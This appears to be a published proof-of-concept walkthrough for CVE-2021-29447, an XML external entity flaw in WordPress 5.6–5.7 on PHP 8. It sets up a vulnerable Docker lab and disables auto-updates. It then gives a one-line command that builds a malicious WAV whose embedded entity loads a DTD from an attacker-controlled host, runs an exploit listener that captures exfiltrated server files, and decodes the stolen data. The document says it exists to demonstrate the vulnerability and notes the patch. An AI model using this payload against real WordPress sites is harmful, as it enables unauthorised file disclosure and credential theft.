CVE-2021-29447-PoC

Overview

CVE-2021-29447 is an XML External Entity (XXE) injection vulnerability affecting WordPress versions 5.6–5.7 (patched in 5.7.1) when running PHP 8.0+. The vulnerability resides in the getID3 library used for media metadata parsing.

WordPress processes WAV file iXML chunks via getID3, which invokes simplexml_load_string() with the LIBXML_NOENT flag. This flag explicitly enables external entity substitution, bypassing PHP 8's default XXE protections (deprecated libxml_disable_entity_loader()).

1. Authenticated user (Author+) uploads malicious WAV
2. getID3 → iXML chunk → simplexml_load_string(XXE_PAYLOAD, LIBXML_NOENT)
3. External DTD fetch → PHP data:// wrapper → Arbitrary file disclosure

Proof-of-Concept Setup

This PoC demonstrates the vulnerability using Dockerized WordPress 5.7 + PHP 8.0.3. Linux users can use a single-file script that also generates the WAV/DTD files.

▶️: https://youtu.be/YnGowuWHFyY

Prerequisites & Environment Setup

1. Install Docker Desktop on Windows host

2. Create dedicated project directory (all PowerShell commands execute here):

   root@kitploit:~

    #powershell
   mkdir cve-2021-29447-poc
    cd cve-2021-29447-poc
   

3. Deploy vulnerable WordPress:

   root@kitploit:~

    #powershell
    notepad docker-compose.yml
   

   Copy and paste the content of docker-compose.yml

4. Start containers:

   root@kitploit:~

    #powershell
    docker-compose up -d
   

5. Disable auto-updates (critical for vulnerability persistence):

   root@kitploit:~

    #powershell
    docker-compose exec wordpress bash
   
    #bash
    sed -i "s/WP_AUTO_UPDATE_CORE', true/WP_AUTO_UPDATE_CORE', false/g" /var/www/html/wp-config-sample.php
   
    echo "define('AUTOMATIC_UPDATER_DISABLED', true);" >> /var/www/html/wp-config-sample.php
    echo "define('WP_AUTO_UPDATE_CORE', false);" >> /var/www/html/wp-config-sample.php
   
    tail -5 /var/www/html/wp-config-sample.php
    exit
   

6. Verify vulnerable versions:

   root@kitploit:~

    #powershell
    docker-compose exec wordpress bash -c "grep wp_version /var/www/html/wp-includes/version.php && php -v"
   

   Expected: WordPress 5.7, PHP 8.0+

7. WordPress Installation:

   Navigate: http://localhost:8080

   Admin: test / test / [email protected]

   Complete setup → Access /wp-admin

8. Attacker IP Discovery:

   root@kitploit:~

    #powershell
    ipconfig | findstr IPv4
   

   Note your IP (e.g. 192.168.1.196)

Exploit Payload Generation

1. Create DTD payload:

   root@kitploit:~

    #powershell
    notepad evil.dtd
   

   Copy and paste the content of evil.dtd

2. Generate WAV payload (Linux CLI):

   root@kitploit:~

   #bash
    echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:PORT/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
   

   Transfer via python3 -m http.server 8000 → Windows browser download (e.g. http://<VM_IP>:8000)

   Note: WAV created separately due to binary escaping complexity in Windows environments

3. Deploy exploit server:

   root@kitploit:~

    #powershell
    notepad exploit.py
   

   Copy and paste the content of exploit.py

   Command:

   root@kitploit:~

    #powershell
    python exploit.py -l YOUR_IP -p PORT 
   

Exploitation

1. Trigger XXE:

   http://localhost:8080/wp-admin → Media → Add New

   Upload payload.wav

2. Monitor Python server console -> capture exfiltrated data

3. Decode Base64+Zlib payload:

   root@kitploit:~

    #powershell
    $bd='PASTE_BASE64_HERE';$bytes=[Convert]::FromBase64String($bd);$decoded=[System.IO.Compression.DeflateStream]::new([System.IO.MemoryStream]::new($bytes,$false),[System.IO.Compression.CompressionMode]::Decompress);[System.IO.StreamReader]::new($decoded).ReadToEnd()
   

Mitigation

Upgrade to WordPress 5.7.1+ or disable LIBXML_NOENT in getID3 parsing.